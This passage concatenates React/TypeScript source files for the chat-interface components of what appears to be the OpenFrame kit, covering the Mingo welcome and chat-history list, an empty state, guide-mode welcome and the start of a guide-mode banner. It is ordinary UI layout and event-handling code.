(`flex-1`) so it centres vertically,\n            keeping the grid anchored at the bottom of the scroll area. Default\n            `min-height: auto` (no `min-h-0`) stops it shrinking below its own\n            content, so the region scrolls instead of the greeting overlapping\n            the grid. Padding is modest so it never dominates the narrow panel. */}\n        <div className=\"flex flex-1 flex-col items-center justify-center gap-[var(--spacing-system-l)] px-[var(--spacing-system-l)] py-[var(--spacing-system-xxl)] text-center\">\n        <MingoIcon\n          className=\"h-12 w-12\"\n          color=\"white\"\n          eyesColor=\"var(--ods-flamingo-cyan-base)\"\n          cornerColor=\"var(--ods-flamingo-cyan-base)\"\n        />\n        <div className=\"flex w-full flex-col gap-[var(--spacing-system-l)]\">\n          <p className=\"text-h2 text-ods-text-primary\">{heading}</p>\n          <p className=\"text-h4 text-ods-text-secondary\">{subtitle}</p>\n        </div>\n      </div>\n      </div>\n\n      {/* Edge scroll-fades — visible only when content is hidden beyond them.\n          Fade into the panel's dark `ods-bg` surface (the default color), matching\n          the black Mingo welcome background (node 113:69208). */}\n      <ScrollFadeOverlay edge=\"top\" visible={fadeTop} className=\"h-12\" />\n      <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} className=\"h-12\" />\n      </div>\n      </>\n      ))}\n\n      {/* Pinned region — visible above the input once the new/returning-user\n          state is known (hidden during first-page load / error). */}\n      {showPinnedRegion && (\n      <div className=\"flex shrink-0 flex-col gap-[var(--spacing-system-m)]\">\n      {/* \"New to OpenFrame?\" — a one-time informational notification (no\n          action). The leading down-arrow (Figma node 7532:317130) only shows\n          once the panel is wide (`@2xl`), mirroring the responsive design. The\n          dismiss \"X\" persists to local/session storage via `dismissPromo`, so\n          once closed it stays hidden. The actual Guide entry point is the\n          \"Start Guide Chat\" chip below. */}\n      {resolvedPromo && !promoDismissed && (\n        <div className=\"relative shrink-0 flex items-center gap-[var(--spacing-system-m)] rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-m)] pr-[var(--spacing-system-xl)]\">\n          <span className=\"hidden @2xl:flex size-4 shrink-0 items-center justify-center text-ods-text-primary\">\n            <Arrow01DownIcon size={16} />\n          </span>\n          <div className=\"flex min-w-0 flex-col items-start gap-1\">\n            <span className=\"text-h3 text-ods-text-primary\">\n              {resolvedPromo.title}\n            </span>\n            <span className=\"text-h6 text-ods-text-secondary\">\n              {resolvedPromo.description}\n            </span>\n          </div>\n          {/* Plain cross — no button chrome, just a clickable icon. */}\n          <button\n            type=\"button\"\n            onClick={dismissPromo}\n            aria-label=\"Dismiss\"\n            className=\"absolute right-2 top-2 text-ods-text-secondary transition-colors hover:text-ods-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent rounded-sm\"\n          >\n            <XmarkIcon size={16} />\n          </button>\n        </div>\n      )}\n\n      {/* Quick actions. \"Start Guide Chat\" stays pinned above the wall — it's\n          the primary mode switch and must never scroll out of reach. The rest\n          render in the shared {@link QuickActionWall} in BRICK mode (the SAME\n          chip wall the website hero uses): 2 stacked row marquees under left/\n          right edge fades, so a long agent action set gets \"reach\" without\n          squeezing the composer. `pauseOnHover` freezes the hovered row so a\n          moving chip never dodges a click; hover/focus previews the action's\n          full prompt in the composer. */}\n      {(onStartGuideChat || (quickActions && quickActions.length > 0)) && (\n        <div className=\"flex shrink-0 flex-col gap-[var(--spacing-system-xsf)]\">\n          {onStartGuideChat && (\n            <QuickActionChipButton\n              label=\"Start Guide Chat\"\n              icon={<CompassIcon size={16} />}\n              variant={hasExistingChats ? 'outline' : 'primary'}\n              onSelect={onStartGuideChat}\n              className=\"self-start\"\n            />\n          )}\n          {quickActions && quickActions.length > 0 && (\n            <QuickActionWall\n              chips={quickActions.map((action) => ({\n                id: action.id,\n                label: action.label,\n                icon: action.icon,\n                variant: action.variant,\n                onSelect: action.onClick,\n                onHoverStart: () => onQuickActionHover?.(action),\n                onHoverEnd: () => onQuickActionHoverEnd?.(),\n              }))}\n              agentSlug={agentSlug}\n              rows={4}\n              pauseOnHover\n              dragScroll\n              fade={['left', 'right']}\n              fadeSize={{ left: 32 }}\n              fadeColor=\"var(--color-bg)\"\n              copyGap=\"var(--spacing-system-xxs)\"\n              className=\"max-h-44 shrink-0\"\n            />\n          )}\n        </div>\n      )}\n      </div>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { ActionsMenuDropdown, type ActionsMenuItem } from '../ui/actions-menu'\nimport { Button } from '../ui/button'\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade'\nimport { SquareAvatar } from '../ui/square-avatar'\nimport { Ellipsis01Icon, SearchXmarkIcon } from '../icons-v2-generated'\nimport { ChatListEmptyState } from './chat-list-empty-state'\nimport type { DialogItem } from './types/component.types'\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport interface MingoChatHistoryProps {\n  /** Dialogs to list, assumed already sorted newest-first by the host. */\n  dialogs: ReadonlyArray<DialogItem>\n  /** Currently-open dialog id (highlighted). */\n  activeDialogId?: string\n  /** Open a dialog. */\n  onSelectDialog?: (id: string) => void\n  /** Request rename — enables the row \"Rename chat\" action. The host opens\n   *  the Rename modal; the list does no inline editing. */\n  onRequestRename?: (dialog: DialogItem) => void\n  /** Request archive — enables the row \"Archive chat\" action. The host opens\n   *  the Archive confirmation modal. */\n  onRequestArchive?: (dialog: DialogItem) => void\n  /** Request a shareable link — enables the row \"Copy chat link\" action. The host\n   *  owns the URL shape and the copy itself (the list knows neither the app's\n   *  routes nor whether a clipboard is available). */\n  onRequestCopyLink?: (dialog: DialogItem) => void\n  /** Current server-side search term. Drives the \"No chats found\" empty state;\n   *  the search INPUT lives in the panel header, not in this list. The host\n   *  owns the term and refetches server-side — the list does no filtering. */\n  searchQuery?: string\n  /** Whether more dialogs remain (cursor pagination). */\n  hasMore?: boolean\n  /** True while the next page is loading. */\n  isLoadingMore?: boolean\n  /** Fetch the next page — fired when the bottom sentinel scrolls into view. */\n  onLoadMore?: () => void\n  /** Appended to the root element. */\n  className?: string\n}\n\ninterface DialogGroup {\n  key: string\n  label: string\n  items: DialogItem[]\n}\n\n// =============================================================================\n// Date grouping — Today / Yesterday / Older\n// =============================================================================\n\nfunction dialogTime(d: DialogItem): number | null {\n  if (!d.timestamp) return null\n  const t =\n    typeof d.timestamp === 'string'\n      ? Date.parse(d.timestamp)\n      : d.timestamp.getTime()\n  return Number.isNaN(t) ? null : t\n}\n\nfunction groupDialogs(dialogs: ReadonlyArray<DialogItem>): DialogGroup[] {\n  const now = new Date()\n  const startOfToday = new Date(\n    now.getFullYear(),\n    now.getMonth(),\n    now.getDate(),\n  ).getTime()\n  const startOfYesterday = startOfToday - 24 * 60 * 60 * 1000\n\n  const today: DialogItem[] = []\n  const yesterday: DialogItem[] = []\n  const older: DialogItem[] = []\n  for (const d of dialogs) {\n    const t = dialogTime(d)\n    if (t !== null && t >= startOfToday) today.push(d)\n    else if (t !== null && t >= startOfYesterday) yesterday.push(d)\n    else older.push(d) // includes timestamp-less dialogs\n  }\n\n  return [\n    { key: 'today', label: 'Today', items: today },\n    { key: 'yesterday', label: 'Yesterday', items: yesterday },\n    { key: 'older', label: 'Older', items: older },\n  ].filter((g) => g.items.length > 0)\n}\n\n// =============================================================================\n// Row\n// =============================================================================\n\ninterface RowProps {\n  dialog: DialogItem\n  isActive: boolean\n  onSelect?: (id: string) => void\n  onRequestRename?: (dialog: DialogItem) => void\n  onRequestCopyLink?: (dialog: DialogItem) => void\n  onRequestArchive?: (dialog: DialogItem) => void\n}\n\nfunction MingoChatHistoryRow({\n  dialog,\n  isActive,\n  onSelect,\n  onRequestCopyLink,\n  onRequestRename,\n  onRequestArchive,\n}: RowProps) {\n  const title = dialog.title || 'Untitled Chat'\n  const unread = dialog.unreadMessagesCount ?? 0\n  const hasMenu = !!onRequestRename || !!onRequestArchive || !!onRequestCopyLink\n  const owner = dialog.owner\n  const hasAvatar = !!(owner?.name || owner?.avatarUrl)\n  // Keep the `⋯` visible while its menu is open — once Radix moves focus into\n  // the portalled content the row loses hover/focus-within.\n  const [menuOpen, setMenuOpen] = React.useState(false)\n\n  const menuItems = [\n    onRequestCopyLink && {\n      id: 'copy-link',\n      label: 'Copy chat link',\n      onClick: () => onRequestCopyLink(dialog),\n    },\n    onRequestRename && {\n      id: 'rename',\n      label: 'Rename chat',\n      onClick: () => onRequestRename(dialog),\n    },\n    onRequestArchive && {\n      id: 'archive',\n      label: 'Archive chat',\n      onClick: () => onRequestArchive(dialog),\n    },\n  ].filter(Boolean) as ActionsMenuItem[]\n\n  // The item is the full-width row (inside the group's bordered box). Padding\n  // lives on the inner content button (badge + title) only — the `⋯` is a\n  // SIBLING of that padded content, so it sits at the item's right edge, inside\n  // the item but outside its padded content area.\n  return (\n    <div\n      className={cn(\n        'group/row relative flex h-12 items-center border-b border-ods-border last:border-b-0 transition-colors',\n        // Active (selected) dialog — Figma 259:91610: an open-yellow-secondary\n        // fill, a 4px open-yellow accent bar down the leading edge, and yellow\n        // title text. Inactive rows keep the dark surface with a hover tint.\n        isActive\n          ? 'bg-ods-open-yellow-secondary'\n          : 'bg-ods-bg hover:bg-ods-bg-hover',\n      )}\n    >\n      {isActive ? (\n        <span\n          aria-hidden\n          className=\"pointer-events-none absolute inset-y-0 left-0 w-1 bg-ods-open-yellow\"\n        />\n      ) : null}\n      <div\n        role=\"button\"\n        tabIndex={0}\n        onClick={() => onSelect?.(dialog.id)}\n        onKeyDown={(e) => {\n          if (e.key === 'Enter' || e.key === ' ') {\n            e.preventDefault()\n            onSelect?.(dialog.id)\n          }\n        }}\n        className=\"flex min-w-0 flex-1 items-center gap-[var(--spacing-system-xsf)] p-[var(--spacing-system-s)] cursor-pointer focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent\"\n      >\n        {unread > 0 ? (\n          <span className=\"flex h-8 min-w-8 shrink-0 items-center justify-center rounded-md bg-ods-accent px-[var(--spacing-system-xsf)] text-h5 text-ods-text-on-accent\">\n            {unread > 99 ? '99+' : unread}\n          </span>\n        ) : null}\n        <span\n          className={cn(\n            'min-w-0 flex-1 truncate text-h4',\n            isActive ? 'text-ods-open-yellow' : 'text-ods-text-primary',\n          )}\n          title={title}\n        >\n          {title}\n        </span>\n      </div>\n      {hasMenu || hasAvatar ? (\n        // Trailing 48px cell (Figma 113:63224): the owner avatar sits centred\n        // by default; hovering the row (or opening the menu) swaps it for the\n        // `⋯` actions button IN PLACE, so the title never reflows. Without an\n        // avatar the cell exists only for the hover menu, so it collapses on\n        // mobile exactly like the old hover-only gutter (no hover on touch).\n        <span\n          className={cn(\n            'relative w-12 self-stretch shrink-0',\n            !hasAvatar && 'max-md:hidden',\n          )}\n        >\n          {hasMenu ? (\n            // Revealed on row hover/its own focus; kept visible while the menu\n            // is open. Hidden on mobile — it's a hover affordance. `peer/menu`\n            // so the avatar layer (a later sibling) can fade when the trigger\n            // holds keyboard focus.\n            <span\n              onClick={(e) => e.stopPropagation()}\n              className={cn(\n                'peer/menu absolute inset-0 transition-opacity max-md:hidden',\n                menuOpen\n                  ? 'opacity-100'\n                  : 'opacity-0 group-hover/row:opacity-100 focus-within:opacity-100',\n              )}\n            >\n              <ActionsMenuDropdown\n                triggerAriaLabel=\"Chat actions\"\n                groups={[{ items: menuItems }]}\n                open={menuOpen}\n                onOpenChange={setMenuOpen}\n                // Don't return focus (and its ring) to the `⋯` trigger on close.\n                onCloseAutoFocus={(e) => e.preventDefault()}\n                customTrigger={\n                  <Button\n                    variant=\"transparent\"\n                    size=\"icon\"\n                    aria-label=\"Chat actions\"\n                    // Square, grey icon → white on hover. `h-full`/`w-full` fill\n                    // the 48px cell exactly (no breakpoint poke from\n                    // `size=\"icon\"`'s responsive `md:h-12`); `p-0` drops the\n                    // icon-size padding. tailwind-merge so these win over\n                    // defaults.\n                    className=\"h-full md:h-full w-full rounded-none p-0 text-ods-text-secondary hover:text-ods-text-primary\"\n                  >\n                    <Ellipsis01Icon />\n                  </Button>\n                }\n              />\n            </span>\n          ) : null}\n          {hasAvatar ? (\n            // Avatar layer — clicks fall through to row selection (it covers\n            // the cell whenever the menu trigger is faded out). On desktop it\n            // fades for the menu swap; on mobile it's always shown.\n            <span\n              onClick={() => onSelect?.(dialog.id)}\n              title={owner?.name || undefined}\n              className={cn(\n                'absolute inset-0 flex cursor-pointer items-center justify-center transition-opacity',\n                hasMenu &&\n                  (menuOpen\n                    ? 'opacity-0 pointer-events-none'\n                    : 'md:group-hover/row:opacity-0 md:group-hover/row:pointer-events-none md:peer-[:focus-within]/menu:opacity-0 md:peer-[:focus-within]/menu:pointer-events-none'),\n              )}\n            >\n              <SquareAvatar\n                variant=\"round\"\n                sizePx={24}\n                src={owner?.avatarUrl || undefined}\n                alt={owner?.name || undefined}\n                fallback={owner?.name || undefined}\n                initialsClassName=\"text-[10px] text-ods-text-secondary\"\n              />\n            </span>\n          ) : null}\n        </span>\n      ) : null}\n    </div>\n  )\n}\n\n// =============================================================================\n// Skeleton\n// =============================================================================\n\n/**\n * Loading placeholder for the dialog history, shaped like the grouped row list\n * above. Shown while the FIRST page of dialogs is in flight so the Mingo empty\n * state doesn't flash the new-user greeting+grid before the list arrives (the\n * two layouts are mutually exclusive — swapping between them mid-load reads as\n * a flicker). Pure ODS tokens, `animate-pulse`.\n */\nexport function MingoChatHistorySkeleton({\n  className,\n}: {\n  className?: string\n}) {\n  // Mirror the real grouped list exactly: a small group label, then a bordered\n  // rounded container of `h-12` rows, each with a single title bar of varying\n  // width (no unread-badge squares — the real rows currently never show one, so\n  // a badge placeholder would mis-promise the layout). `bg-ods-border` matches\n  // the kit's canonical `Skeleton` placeholder colour; `bg-ods-bg` rows read a\n  // touch darker than the `bg-ods-card` panel so the bars stay legible.\n  const groups: ReadonlyArray<ReadonlyArray<string>> = [\n    ['w-3/5', 'w-4/5', 'w-2/5', 'w-3/4'],\n    ['w-1/2', 'w-2/3'],\n  ]\n  return (\n    <div\n      aria-hidden\n      // `overflow-hidden` clips the placeholder rows to the flex-1 box (the real\n      // list scrolls; the skeleton just needs to stay within bounds).\n      className={cn(\n        'flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)] overflow-hidden',\n        className,\n      )}\n    >\n      {groups.map((widths, g) => (\n        <div key={g} className=\"flex shrink-0 flex-col gap-[var(--spacing-system-xxs)]\">\n          {/* Group label (Today / Older). */}\n          <div className=\"h-3 w-16 animate-pulse rounded bg-ods-border\" />\n          <div className=\"overflow-hidden rounded-md border border-ods-border\">\n            {widths.map((w, i) => (\n              <div\n                key={i}\n                className=\"flex h-12 items-center bg-ods-bg border-b border-ods-border px-[var(--spacing-system-s)] last:border-b-0\"\n              >\n                <div className={cn('h-4 animate-pulse rounded bg-ods-border', w)} />\n              </div>\n            ))}\n          </div>\n        </div>\n      ))}\n    </div>\n  )\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * MingoChatHistory — Figma node `7532:223950`.\n *\n * The returning-user variation of the Mingo empty state: the dialog history\n * rendered inline in the main panel, grouped into Today / Yesterday / Older\n * sections. Each row shows an optional unread badge, the title, and a `⋯`\n * menu (Rename / Archive — each gated on the matching handler and surfaced as\n * a request the host fulfils via a modal). Owns its own scroll + bottom/top\n * fade and an infinite-scroll\n * sentinel that fires `onLoadMore`.\n */\nexport function MingoChatHistory({\n  dialogs,\n  activeDialogId,\n  onSelectDialog,\n  onRequestCopyLink,\n  onRequestRename,\n  onRequestArchive,\n  searchQuery,\n  hasMore = false,\n  isLoadingMore = false,\n  onLoadMore,\n  className,\n}: MingoChatHistoryProps) {\n  const groups = React.useMemo(() => groupDialogs(dialogs), [dialogs])\n  const noSearchResults = groups.length === 0 && !!searchQuery?.trim()\n\n  // Scroll-fade affordances — shared ui/scroll-fade (re-measures on resize\n  // and content mutations, so no manual `dialogs` dependency is needed).\n  const { scrollRef, fadeTop, fadeBottom, update: updateFade } = useScrollFade<HTMLDivElement>()\n\n  // Infinite scroll — load the next page when the sentinel enters the\n  // scroll viewport.\n  const sentinelRef = React.useRef<HTMLDivElement>(null)\n  const onLoadMoreRef = React.useRef(onLoadMore)\n  onLoadMoreRef.current = onLoadMore\n  const isLoadingMoreRef = React.useRef(isLoadingMore)\n  isLoadingMoreRef.current = isLoadingMore\n  const dialogCount = dialogs.length\n  React.useEffect(() => {\n    const root = scrollRef.current\n    const sentinel = sentinelRef.current\n    if (!root || !sentinel || !hasMore || typeof IntersectionObserver === 'undefined')\n      return\n    const io = new IntersectionObserver(\n      ([entry]) => {\n        if (entry.isIntersecting && !isLoadingMoreRef.current) {\n          onLoadMoreRef.current?.()\n        }\n      },\n      { root, rootMargin: '120px', threshold: 0.1 },\n    )\n    io.observe(sentinel)\n    return () => io.disconnect()\n    // `dialogCount`/`isLoadingMore` deps re-arm the observer after every page\n    // lands: `observe()` re-reports the CURRENT intersection, so a sentinel\n    // that stays in view (short host-filtered list — e.g. the \"My Chats\"\n    // scope keeps a handful of rows out of a 20-row page) keeps chaining\n    // loads until the viewport fills or `hasMore` flips. A continuously\n    // visible sentinel never re-crosses the threshold, so the previous\n    // [hasMore]-only observer fired exactly once per mount and the list\n    // grew by a single page per drawer open.\n  }, [hasMore, isLoadingMore, dialogCount])\n\n  return (\n    <div className={cn('relative flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)]', className)}>\n      {/* Scroll region — the search INPUT now lives in the panel header\n          (Figma 116:51217), so the list is just the grouped rows + fades. */}\n      <div className=\"relative flex flex-1 min-h-0 flex-col\">\n        <div\n          ref={scrollRef}\n          onScroll={updateFade}\n          className=\"flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)] overflow-y-auto overscroll-contain\"\n        >\n          {noSearchResults ? (\n            // No search matches — same centred glyph + title + caption layout as\n            // the other chat-list empty states (Figma 113:60939).\n            <ChatListEmptyState\n              icon={<SearchXmarkIcon size={24} />}\n              title=\"No Chats Found\"\n              description=\"Try a different search term\"\n            />\n          ) : (\n            groups.map((group) => (\n              <div\n                key={group.key}\n                className=\"flex flex-col gap-[var(--spacing-system-xxs)]\"\n              >\n                <p className=\"text-h5 text-ods-text-secondary\">{group.label}</p>\n                <div className=\"overflow-hidden rounded-md border border-ods-border\">\n                  {group.items.map((dialog) => (\n                    <MingoChatHistoryRow\n                      key={dialog.id}\n                      dialog={dialog}\n                      isActive={dialog.id === activeDialogId}\n                      onSelect={onSelectDialog}\n                      onRequestCopyLink={onRequestCopyLink}\n                      onRequestRename={onRequestRename}\n                      onRequestArchive={onRequestArchive}\n                    />\n                  ))}\n                </div>\n              </div>\n            ))\n          )}\n          {hasMore ? <div ref={sentinelRef} className=\"h-px shrink-0\" /> : null}\n        </div>\n\n        {/* Scroll-fade — only while content is hidden in that direction. */}\n        <ScrollFadeOverlay edge=\"top\" visible={fadeTop} color=\"var(--color-bg-card)\" className=\"h-12\" />\n        <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} color=\"var(--color-bg-card)\" className=\"h-12\" />\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\n\nexport interface ChatListEmptyStateProps {\n  /** Centred 24px glyph — rendered muted (`ods-text-secondary`). Pass the icon\n   *  already sized (e.g. `<ChatsIcon size={24} />`). */\n  icon: React.ReactNode\n  /** Title line (`h4`). */\n  title: React.ReactNode\n  /** Caption line under the title (`h6`). Omitted → title alone. */\n  description?: React.ReactNode\n  /** Appended to the root element. */\n  className?: string\n}\n\n/**\n * Shared empty state for the chat-list surfaces — the \"Current Chats\" rail and\n * the Chat Archive page (Figma node 113:60939). A centred 24px muted glyph over\n * a title (`h4`) + caption (`h6`), both in `ods-text-secondary`. Kept in one\n * place so the two lists can't drift apart.\n */\nexport function ChatListEmptyState({\n  icon,\n  title,\n  description,\n  className,\n}: ChatListEmptyStateProps) {\n  return (\n    <div\n      className={cn(\n        'flex flex-1 min-h-0 flex-col items-center justify-center gap-[var(--spacing-system-l)] p-[var(--spacing-system-l)] text-center text-ods-text-secondary',\n        className,\n      )}\n    >\n      <span className=\"flex size-6 shrink-0 items-center justify-center\">{icon}</span>\n      <div className=\"flex flex-col\">\n        <p className=\"text-h4\">{title}</p>\n        {description && <p className=\"text-h6\">{description}</p>}\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { MingoIcon } from '../icons'\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade'\nimport { Skeleton } from '../ui/skeleton'\nimport { QuickActionWall } from './quick-action-wall'\nimport { EntityIcon } from '../icon-display'\nimport { accentFromIdentityIcon, type QuickActionAccent } from './quick-action-chip'\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** A guide quick-action chip (e.g. \"How to start\"). */\nexport interface GuideQuickAction {\n  /** Stable React key. */\n  id: string\n  /** Chip label. */\n  label: string\n  /** Prompt text seeded into the composer on click. Defaults to `label`. */\n  prompt?: string\n  /** Optional library-glyph name (resolved via the onboarding-icon registry). */\n  iconName?: string | null\n  /** Optional uploaded image URL (wins over `iconName`). */\n  iconUrl?: string | null\n  /** Optional props spread onto the resolved glyph. */\n  iconProps?: Record<string, unknown> | null\n  /** Optional agent accent tint for the icon (fae→pink, mingo→cyan). */\n  accent?: QuickActionAccent\n}\n\nexport interface GuideWelcomeProps {\n  /** Greeting heading. Defaults to \"Guide Mode Chat\". */\n  title?: React.ReactNode\n  /** Optional identity icon (agent mode) — replaces the built-in Mingo mark as\n   *  the empty-state glyph. `{ name | url | props }` resolved via <EntityIcon>.\n   *  Omitted/empty → the default Mingo mark renders. */\n  icon?: { name?: string | null; url?: string | null; props?: Record<string, unknown> | null } | null\n  /** Greeting sub-line. No built-in default — when omitted/empty the sub-line\n   *  is not rendered, so the empty state shows only the title. Set via the\n   *  admin `emptyStateGreeting` (or a host override). */\n  subtitle?: React.ReactNode\n  /** While the admin greeting is still being fetched, render a one-line\n   *  subtitle skeleton instead of flashing empty → text. Ignored once a\n   *  `subtitle` is present. */\n  subtitleLoading?: boolean\n  /** Quick-action chips — caller-provided; there are no built-in defaults, so\n   *  the chip row is omitted entirely unless the host supplies actions. ALL\n   *  chips render in a wrapping row (no \"⋯\" overflow collapse) so every action\n   *  is directly hoverable — hover/focus previews the action's full `prompt` in\n   *  the composer; click sends it. */\n  quickActions?: ReadonlyArray<GuideQuickAction>\n  /** Fired when a quick-action chip is activated (click). */\n  onQuickAction?: (action: GuideQuickAction) => void\n  /** Pointer/keyboard focus enters a quick-action chip — e.g. preview the\n   *  action's full `prompt` in the composer input. */\n  onQuickActionHover?: (action: GuideQuickAction) => void\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onQuickActionHoverEnd?: () => void\n  /** Agent this empty state belongs to — forwarded to the quick-action\n   *  {@link QuickActionWall} so a built-in agent (`'fae'`/`'mingo'`) caps the\n   *  brick stack at 2 rows. Unset (host/guide mode) keeps the full `rows` cap. */\n  agentSlug?: string\n  /** Slash-command onboarding list — rendered inside the shared scroll region\n   *  below the greeting (so greeting + list scroll together, with edge fades). */\n  children?: React.ReactNode\n  className?: string\n}\n\n// =============================================================================\n// Defaults (OpenFrame copy — overridable; the kit stays platform-agnostic)\n// =============================================================================\n\nconst DEFAULT_TITLE = 'Guide Mode Chat'\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * GuideWelcome — Figma node `7532:328214`.\n *\n * Guide-mode chat empty state: a centred greeting and the slash-command\n * onboarding list share one scroll region (with top/bottom fade affordances),\n * and a pinned quick-action chip row sits above the composer. The first few\n * quick actions render as chips; the remainder collapse under a \"⋯\" menu.\n *\n * Mirrors `MingoWelcome` (the default-mode empty state) — content is\n * configurable with OpenFrame defaults.\n */\nexport function GuideWelcome({\n  title = DEFAULT_TITLE,\n  icon,\n  subtitle,\n  subtitleLoading = false,\n  quickActions = [],\n  onQuickAction,\n  onQuickActionHover,\n  onQuickActionHoverEnd,\n  agentSlug,\n  children,\n  className,\n}: GuideWelcomeProps) {\n  // Scroll-fade affordances: a 48px gradient at the top/bottom edge of the\n  // scroll region, shown only while content is actually hidden in that\n  // direction. (Same behaviour as MingoWelcome.)\n  const { scrollRef, fadeTop, fadeBottom, update: updateScrollFade } = useScrollFade<HTMLDivElement>()\n\n  // Map to the shared {@link QuickActionChip} shape consumed by the unified\n  // `QuickActionWall` — the SAME chip wall the website hero + deck render, so\n  // the chat's quick actions read as \"the work the agent does\". Every chip\n  // stays interactive (clone copies included); `onHoverStart`/`onHoverEnd` drive\n  // the composer prompt preview and `onSelect` sends.\n  const chipItems = React.useMemo(\n    () =>\n      quickActions.map((action) => ({\n        id: action.id,\n        label: action.label,\n        // Declarative spec — the unified chip resolves it via <EntityIcon>.\n        // Chip icon accent, config first: per-action accent (host/agent\n        // resolution) → the admin-configured identity color on this surface's\n        // icon (`icon_props.color`) → cyan, the built-in Mingo-guide branding.\n        // An admin-set per-action `iconProps.color` still wins over any accent.\n        icon: {\n          name: action.iconName,\n          url: action.iconUrl,\n          props: action.iconProps,\n          accent: action.accent ?? accentFromIdentityIcon(icon) ?? 'cyan',\n        },\n        onSelect: () => onQuickAction?.(action),\n        onHoverStart: () => onQuickActionHover?.(action),\n        onHoverEnd: () => onQuickActionHoverEnd?.(),\n      })),\n    [quickActions, icon, onQuickAction, onQuickActionHover, onQuickActionHoverEnd],\n  )\n\n  return (\n    <div\n      className={cn(\n        'flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)]',\n        className,\n      )}\n    >\n      {/* Greeting + slash-command list share one scroll region; `relative` so\n          the edge fades can overlay it. */}\n      <div className=\"relative flex flex-1 min-h-0 flex-col\">\n        <div\n          ref={scrollRef}\n          onScroll={updateScrollFade}\n          className=\"flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)] overflow-y-auto overscroll-contain\"\n        >\n          {/* Greeting grows to fill (`flex-1`) so the slash-command list stays\n              anchored below it — but its content is anchored at the TOP of the\n              grown block (no `justify-center`). Vertical-centering the content\n              would re-position the icon/title every time the children's height\n              changed (e.g. the chip-catalog skeleton → real cards swap: the\n              skeleton renders a fixed 6 rows but the resolved list is whatever\n              the admin configured — 14 on the hub today). Whichever direction\n              the delta runs, a centered greeting jumps by half the delta on\n              load. Top-anchoring keeps the icon and title at the same\n              scroll-viewport-top position regardless of the list height\n              beneath them. */}\n          <div className=\"flex flex-1 flex-col items-center gap-[var(--spacing-system-l)] px-[var(--spacing-system-l)] py-[var(--spacing-system-xxl)] text-center\">\n            {icon && (icon.name || icon.url) ? (\n              // Agent-mode identity glyph (chat-config Identity tab). Sized to\n              // match the default Mingo mark (48px).\n              <EntityIcon icon={{ name: icon.name, url: icon.url, props: icon.props }} size={48} />\n            ) : (\n              <MingoIcon\n                className=\"h-12 w-12\"\n                color=\"white\"\n                eyesColor=\"var(--ods-flamingo-cyan-base)\"\n                cornerColor=\"var(--ods-flamingo-cyan-base)\"\n              />\n            )}\n            <div className=\"flex w-full flex-col gap-[var(--spacing-system-l)]\">\n              <p className=\"text-h2 text-ods-text-primary\">{title}</p>\n              {/* Sub-line: while the greeting is still being fetched show a\n                  one-line skeleton; once settled, render the greeting (admin\n                  copy / host override) or nothing — no built-in default, so by\n                  default the empty state shows the title alone. */}\n              {subtitle ? (\n                <p className=\"text-h4 text-ods-text-secondary\">{subtitle}</p>\n              ) : subtitleLoading ? (\n                <div className=\"flex w-full justify-center\">\n                  <Skeleton className=\"h-5 w-3/4 max-w-80 rounded-sm\" />\n                </div>\n              ) : null}\n            </div>\n          </div>\n\n          {children}\n        </div>\n\n        {/* Edge scroll-fades — visible only when content is hidden beyond them. */}\n        <ScrollFadeOverlay edge=\"top\" visible={fadeTop} className=\"h-12\" />\n        <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} className=\"h-12\" />\n      </div>\n\n      {/* Pinned quick-action wall above the composer — the shared\n          {@link QuickActionWall} in BRICK mode (the SAME \"wall of the work\n          agents do\" the website hero renders): up to 4 stacked row marquees,\n          chips packed edge-to-edge, drifting under left/right edge fades so a\n          long agent action set gets \"reach\" without squeezing the composer.\n          Chips stay directly hoverable — hover/focus previews the action's full\n          prompt in the composer, click sends it — and `pauseOnHover` freezes\n          the hovered row so a moving chip never dodges a click. */}\n      {quickActions.length > 0 && (\n        <QuickActionWall\n          chips={chipItems}\n          agentSlug={agentSlug}\n          rows={4}\n          pauseOnHover\n          dragScroll\n          fade={['left', 'right']}\n          fadeSize={{ left: 32 }}\n          fadeColor=\"var(--color-bg)\"\n          copyGap=\"var(--spacing-system-xxs)\"\n          className=\"max-h-44 shrink-0\"\n        />\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { CompassIcon } from '../icons-v2-generated/map-and-travel/compass-icon'\nimport { QuestionCircleIcon } from '../icons-v2-generated/signs-and-symbols/question-circle-icon'\nimport {\n  Tooltip,\n  TooltipContent,\n  TooltipProvider,\n  TooltipTrigger,\n} from '../ui/tooltip'\n\nconst DEFAULT_LABEL = 'Guide Mode Chat'\n\nconst DEFAULT_TOOLTIP =\n  'A quick session chat for exploring OpenFrame. Mingo answers how-to ' +\n  'questions and guides you through configuration, but won’t touch devices, ' +\n  'run scripts, or perform any actions.'\n\nexport interface GuideModeBannerProps {\n  /** Banner label (uppercased by the `text-h5` style). */\n  label?: React.ReactNode\n  /** Help-icon tooltip copy. `null` hides the help icon entirely. */\n  tooltip?: React.ReactNode | null\n  className?: string\n}\n\n/**\n * Guide-mode indicator banner — Figma node `7532:328222`. A full-bleed accent\n * (yellow) strip below the chat header: leading compass icon, the \"Guide Mode\n * Chat\" label, and a trailing help icon whose tooltip explains the temporary,\n * read-only 